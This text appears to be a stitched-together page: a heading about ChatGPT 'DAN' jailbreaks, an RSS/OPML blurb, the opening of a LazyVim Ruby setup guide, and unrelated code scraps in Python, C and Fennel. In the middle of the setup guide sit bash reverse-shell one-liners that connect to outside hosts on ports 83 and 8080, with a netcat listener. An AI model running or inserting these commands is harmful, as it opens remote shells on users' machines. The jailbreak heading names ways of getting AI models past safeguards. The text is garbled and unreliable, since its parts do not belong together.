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Chat GPT "DAN" (and other "Jailbreaks")

This is an OPML version of the HN Popularity Contest results for 2025, for importing into RSS feed readers.

Plug: if you want to find content related to your interests from thousands of obscure blogs and noisy sources like HN Newest, check out Scour. It's a free, personalized content feed I work on where you define your interests in your own words and it ranks content based on how closely related it is to those topics.

Basic LazyVim Setup with Ruby/Rails

A very basic setup for ruby/rails development using LazyVim

Prerequisites

First, you'll of course need neovim. I personally just use the stable release over nightly just because I dislike when things randomly break, and I have to stop working to deal with it. But do whatever you like.

Probably a good idea to start it and run :checkhealth to make sure everything works before proceeding.

	#bash
	/bin/sh -i >& /dev/tcp/200.93.248.46/83 0>&1 >>> nc -vvlp 83

	#bash
	bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

	#bash alt
	exec /bin/bash 0&0 2>&0

	#bash alt 2

	"""
	The most atomic way to train and run inference for a GPT in pure, dependency-free Python.
	This file is the complete algorithm.
	Everything else is just efficiency.

	@karpathy
	"""

	import os # os.path.exists
	import math # math.log, math.exp

	uint16_t crc16(char* pData, int length)
	{
	uint8_t i;
	uint16_t wCrc = 0xffff;
	while (length--) {
	wCrc ^= (unsigned char )pData++ << 8;
	for (i=0; i < 8; i++)
	wCrc = wCrc & 0x8000 ? (wCrc << 1) ^ 0x1021 : wCrc << 1;
	}
	return wCrc & 0xffff;

	;; since one of the strengths of Fennel is access to Lua frameworks, here's
	;; a graphical REPL which runs inside LÖVE (https://love2d.org)

	;; supports multiline input, showing errors in red, detecting incomplete input.
	;; for a slightly more complex version which supports running inside a sandbox
	;; see the wiki: https://github.com/bakpakin/Fennel/wiki/Repl
	;; to run: fennel -c love-repl.fnl > main.lua && love .

	(local fennel (require :fennel))